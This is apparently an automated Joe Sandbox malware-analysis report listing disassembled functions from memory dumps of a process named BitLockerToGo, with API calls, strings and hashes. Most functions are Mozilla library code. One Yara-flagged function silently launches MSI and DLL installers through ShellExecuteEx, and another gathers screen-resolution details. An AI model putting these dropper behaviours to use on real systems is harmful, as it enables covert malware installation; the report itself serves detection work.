stack-chart, xrefs: 6CCB90B2
marker-table, xrefs: 6CCB906C
timeline-overview, xrefs: 6CCB907A
timeline-ipc, xrefs: 6CCB9096

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 20864258217f2b662991c66906b49d63049bd26b5ce3a960331a891ac706d3ec
Instruction ID: 7a148c122213a49125cd3a5d542d03a7728720055c9f320075b3620f3cc9cc64
Opcode Fuzzy Hash: 20864258217f2b662991c66906b49d63049bd26b5ce3a960331a891ac706d3ec
Instruction Fuzzy Hash: 66B1B2B1A012099BDB04CF99C892BEEBBB5FF89348F104029D515ABF90F7319945CBE1

Function 6CC9C570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CC9C5A3
WideCharToMultiByte.KERNEL32 ref: 6CC9C9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6CC9C9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6CC9CA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6CC9CA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CC9CAA5

Strings

(null), xrefs: 6CC9C596
0, xrefs: 6CC9D30A

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: fb440ac8e9dcb428738d36a054d1a6fabecafc1030bd2e388c9bbd2aa1a80c54
Instruction ID: 2a2451d7bd522a21168397d9d32f2dd4085102e88ec4143d0086db5cbe8762f1
Opcode Fuzzy Hash: fb440ac8e9dcb428738d36a054d1a6fabecafc1030bd2e388c9bbd2aa1a80c54
Instruction Fuzzy Hash: 74A1AC316083429FDB00DF29C59475ABBF5BF8A748F04892DE999D7641EB31EC05CB92

Function 6CC73480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CC73492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CC734A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CC734EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6CC7350E
__Init_thread_footer.LIBCMT ref: 6CC73522
__aulldiv.LIBCMT ref: 6CC73552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CC7357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CC73592

Part of subcall function 6CCAAB89: EnterCriticalSection.KERNEL32(6CCFE370,?,?,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284), ref: 6CCAAB94
Part of subcall function 6CCAAB89: LeaveCriticalSection.KERNEL32(6CCFE370,?,6CC734DE,6CCFF6CC,?,?,?,?,?,?,?,6CC73284,?,?,6CC956F6), ref: 6CCAABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6CC73508
kernel32.dll, xrefs: 6CC734EA

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: c1b1b68a8d90b23094eaf55f496cb83de925eccb5f3f20e05297f4c42eb63f18
Instruction ID: 9d404e0669de8ca4b6d3e41de3c8c9ca651f2fe3d5e750050d095004ffc8b929
Opcode Fuzzy Hash: c1b1b68a8d90b23094eaf55f496cb83de925eccb5f3f20e05297f4c42eb63f18
Instruction Fuzzy Hash: D3319C71B0020AAFDF14DFB9E868AAE77B9FF46305F144019E521A3650EB70A905CB61

Function 6CC74480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6CCB4843,?), ref: 6CC745F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6CCB4843,?), ref: 6CC7468A
free.MOZGLUE(?,?,?,?,?,?,6CCB4843,?), ref: 6CC746C9
free.MOZGLUE(?), ref: 6CC746EF
free.MOZGLUE(?), ref: 6CC74712
free.MOZGLUE(?), ref: 6CC74735
free.MOZGLUE(?), ref: 6CC74758
free.MOZGLUE(?), ref: 6CC7477B
free.MOZGLUE(?), ref: 6CC7479E

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: e7b30e752b06cee131c9aeb7a0000d23cae51305dae490c1578c2312b3ce39c5
Instruction ID: c4b751d8485232da77c5a2ca5e02bf233704e00be7f384abdf727287d2299eb1
Opcode Fuzzy Hash: e7b30e752b06cee131c9aeb7a0000d23cae51305dae490c1578c2312b3ce39c5
Instruction Fuzzy Hash: A9B1D071A005148FDB28CF3CD8A076D76A6EF46328F184669E426DBB92F735D840CFA1

Function 6CCDAC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6CCDAC52
CreateFileMappingW.KERNEL32 ref: 6CCDAC7D
GetSystemInfo.KERNEL32 ref: 6CCDAC98
MapViewOfFile.KERNEL32 ref: 6CCDACB0
GetSystemInfo.KERNEL32 ref: 6CCDACCD
MapViewOfFile.KERNEL32 ref: 6CCDAD05
UnmapViewOfFile.KERNEL32 ref: 6CCDAD1C
CloseHandle.KERNEL32 ref: 6CCDAD28
UnmapViewOfFile.KERNEL32 ref: 6CCDAD37
CloseHandle.KERNEL32 ref: 6CCDAD43
CloseHandle.KERNEL32 ref: 6CCDAD67

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: 417ec8c448a4e3fb8df260cfe1f9afdff9a7bbc88a19cde2ccf50316c7a1feb8
Instruction ID: 1b286f4ead16ad1d8c28de9c718b7fea1a1e9e1c79ac1e2126b8a4e6acbd39d8
Opcode Fuzzy Hash: 417ec8c448a4e3fb8df260cfe1f9afdff9a7bbc88a19cde2ccf50316c7a1feb8
Instruction Fuzzy Hash: 6C3162B1A047058FDB00EF7DD64826EBBF0FF85305F02492DE99997211EB709448CB82

Function 03012E30 Relevance: 16.2, APIs: 3, Strings: 6, Instructions: 469COMMON

Download Yara Rule

APIs

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

ShellExecuteEx.SHELL32(0000003C), ref: 030131C5
ShellExecuteEx.SHELL32(0000003C), ref: 0301335D
ShellExecuteEx.SHELL32(0000003C), ref: 030134EA

Strings

"" , xrefs: 0301309A
<, xrefs: 03013490
.dll, xrefs: 030131E5
/i ", xrefs: 030133E4
/passive, xrefs: 0301345B
.msi, xrefs: 03013398

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: ExecuteShell$lstrcpy
String ID: /i "$ /passive$"" $.dll$.msi$<
API String ID: 2507796910-1961616256
Opcode ID: 86347035ed523454c32125faf048756e32449528e352aea8c395a320f9a87591
Instruction ID: 4042a0db5fb26130fd9059bababbc6c6525f72979185508cfda9194d57382f53
Opcode Fuzzy Hash: 86347035ed523454c32125faf048756e32449528e352aea8c395a320f9a87591
Instruction Fuzzy Hash: D8122F799032089BDB09FBA0DD91FDEB738AF94310F404159E5066A190EF746B9ECFA0

Function 6CC71E90 Relevance: 15.1, APIs: 9, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CCFE784), ref: 6CC71EC1
LeaveCriticalSection.KERNEL32(6CCFE784), ref: 6CC71EE1
EnterCriticalSection.KERNEL32(6CCFE744), ref: 6CC71F38
LeaveCriticalSection.KERNEL32(6CCFE744), ref: 6CC71F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6CC71F83
LeaveCriticalSection.KERNEL32(6CCFE784), ref: 6CC71FC0
EnterCriticalSection.KERNEL32(6CCFE784), ref: 6CC71FE2
LeaveCriticalSection.KERNEL32(6CCFE784), ref: 6CC71FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CC72019

Strings

MOZ_CRASH(), xrefs: 6CC72000

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: MOZ_CRASH()
API String ID: 2055633661-2608361144
Opcode ID: a247a95781e486110b4e3fddc0d4eafb6a757cc3e05ce1bd88746c4306bdb4f9
Instruction ID: 4fc232beef246de0901620e3a00ee6b6719fcb7ebab52ecfe5d838f6c21901fe
Opcode Fuzzy Hash: a247a95781e486110b4e3fddc0d4eafb6a757cc3e05ce1bd88746c4306bdb4f9
Instruction Fuzzy Hash: 0941D471B003198FDF109FBDD898B6A7AB5EF4A348F14002AE92997745FB719805CBE1

Function 6CC87E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CC87EA7
malloc.MOZGLUE(00000001), ref: 6CC87EB3

Part of subcall function 6CC8CAB0: EnterCriticalSection.KERNEL32(?), ref: 6CC8CB49
Part of subcall function 6CC8CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6CC8CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6CC87EC4
mozalloc_abort.MOZGLUE(?), ref: 6CC87F19
malloc.MOZGLUE(?), ref: 6CC87F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC87F4D

Strings

d, xrefs: 6CC87F89

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 1c2ef1ff96d01466b9ff06a25d7cd8df8016abac1bb39b36b33ee690152a2f5a
Instruction ID: 5076c2e5fa9fb0fe0dc2710961981fa6859a483cbf57034429698aebcd881f23
Opcode Fuzzy Hash: 1c2ef1ff96d01466b9ff06a25d7cd8df8016abac1bb39b36b33ee690152a2f5a
Instruction Fuzzy Hash: C031F671E0078897DB009B68DC445FFB778EF9621CF045629ED595B612FB30A9C8C390

Function 030187C0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 64memoryCOMMON

Download Yara Rule

APIs

CreateDCA.GDI32(03540598,00000000,00000000,00000000), ref: 030187F5
GetDeviceCaps.GDI32(?,00000008), ref: 03018804
GetDeviceCaps.GDI32(?,0000000A), ref: 03018813
ReleaseDC.USER32(00000000,?), ref: 03018822
GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,03020E28,00000000,?), ref: 0301882F
RtlAllocateHeap.NTDLL(00000000), ref: 03018836
wsprintfA.USER32 ref: 03018850

Part of subcall function 0301A740: lstrcpy.KERNEL32(03020AEF,00000000), ref: 0301A788

Strings

%dx%d, xrefs: 03018847

Memory Dump Source

Source File: 00000002.00000002.1836179324.0000000003000000.00000040.00000400.00020000.00000000.sdmp, Offset: 03000000, based on PE: true

Associated: 00000002.00000002.1836206485.000000000301E000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000302B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000305A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003085000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003088000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000308F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.0000000003092000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030B1000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030BD000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030E2000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000030EF000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000310F000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000311B000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031A5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031C5000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.00000000031CB000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836232555.000000000324A000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.1836955286.000000000325C000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3000000_BitLockerToGo.jbxd

Yara matches

Similarity

API ID: CapsDeviceHeap$AllocateCreateProcessReleaselstrcpywsprintf
String ID: %dx%d
API String ID: 81802983-2206825331
Opcode ID: 5424a6806343cd756fb473d6aae5686e9d1709818c9f5e67c5ca69b785512825
Instruction ID: ee715f4a4e7f8b61b9813573491aa7619e1e228cb42bb289c7e44f6cd1b2d8c7
Opcode Fuzzy Hash: 5424a6806343cd756fb473d6aae5686e9d1709818c9f5e67c5ca69b785512825
Instruction Fuzzy Hash: 3F2124B5A81204EFDB14EFD4ED49FAEBBB8FB48711F108119F605A7284C7799901CBA0

Function 6CC83E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?,?,?,?,?,?,6CC83CCC), ref: 6CC83EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC83FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040,?,?,?,?,?,6CC83CCC), ref: 6CC84006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC840A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CC83CCC), ref: 6CC840AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6CC83CCC), ref: 6CC840C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6CC84134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CC83CCC), ref: 6CC84143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6CC83CCC), ref: 6CC84157

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: bb15a149c7c9c123707d6f53443e47e4f70018f60a39ad528ad2063fd35a500b
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 6AA180B1A01215CFDB40CF69C88075ABBB5FF49318F294599D909AF742E771E886CBA0

Function 6CCC9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6CCC8273), ref: 6CCC9D65
free.MOZGLUE(6CCC8273,?), ref: 6CCC9D7C
free.MOZGLUE(?,?), ref: 6CCC9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6CCC9E0F
free.MOZGLUE(6CCC946B,?,?), ref: 6CCC9E24
free.MOZGLUE(?,?,?), ref: 6CCC9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6CCC9EC8
free.MOZGLUE(6CCC946B,?,?,?), ref: 6CCC9EDF
free.MOZGLUE(?,?,?,?), ref: 6CCC9EF5

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 70da7748037fb62477fa447ff36b3ef74938e404866cca64c7f9f09bd786e08b
Instruction ID: 94c05a9d6b217c5d7138db1ffac4eac0c32c28a4d8d2a11a639b3086f3c0082d
Opcode Fuzzy Hash: 70da7748037fb62477fa447ff36b3ef74938e404866cca64c7f9f09bd786e08b
Instruction Fuzzy Hash: 0B718FB0A09B419BD712CF18C48055BF3F5FF99319B44965DE89A5BB01FB31E885CB82

Function 6CCCDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6CCCDDCF

Part of subcall function 6CCAFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCAFA4B

Part of subcall function 6CCC90E0: free.MOZGLUE(?,00000000,?,?,6CCCDEDB), ref: 6CCC90FF
Part of subcall function 6CCC90E0: free.MOZGLUE(?,00000000,?,?,6CCCDEDB), ref: 6CCC9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCCDE0D
free.MOZGLUE(00000000), ref: 6CCCDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCCDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCCDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CCCDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CCBDEFD,?,6CC84A68), ref: 6CCCDF32

Part of subcall function 6CCCDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CCCDB86
Part of subcall function 6CCCDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6CCCDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6CCBDEFD,?,6CC84A68), ref: 6CCCDF65
free.MOZGLUE(?), ref: 6CCCDF80

Part of subcall function 6CC95E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CC95EDB
Part of subcall function 6CC95E90: memset.VCRUNTIME140(6CCD7765,000000E5,55CCCCCC), ref: 6CC95F27
Part of subcall function 6CC95E90: LeaveCriticalSection.KERNEL32(?), ref: 6CC95FB2

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858544781.000000006CCED000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858572898.000000006CCFE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000002.00000002.1858596249.000000006CD02000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_6cc70000_BitLockerToGo.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: 4b7308c172aff6686e87bbcd2b285b1b3b587499389ba5fc24ffa7df1aaac11b
Instruction ID: 64ff17bad96b06f54aececb114b029e9b5a6c166c7f81b9c0f213fcfbe60ff6a
Opcode Fuzzy Hash: 4b7308c172aff6686e87bbcd2b285b1b3b587499389ba5fc24ffa7df1aaac11b
Instruction Fuzzy Hash: E251C172B416019BD7219B29D8806AEB3B2BF95308F96051DD85A53F00FB31F95ACB93

Function 6CCD5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5DC9
std::_Facet_Register.LIBCPMT ref: 6CCD5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6CCD5C8C,?,6CCAE829), ref: 6CCD5E45

Memory Dump Source

Source File: 00000002.00000002.1858482528.000000006CC71000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CC70000, based on PE: true

Associated: 00000002.00000002.1858461408.000000006CC70000.00000002.00000001.01000000.00000008.sdmpDownload File
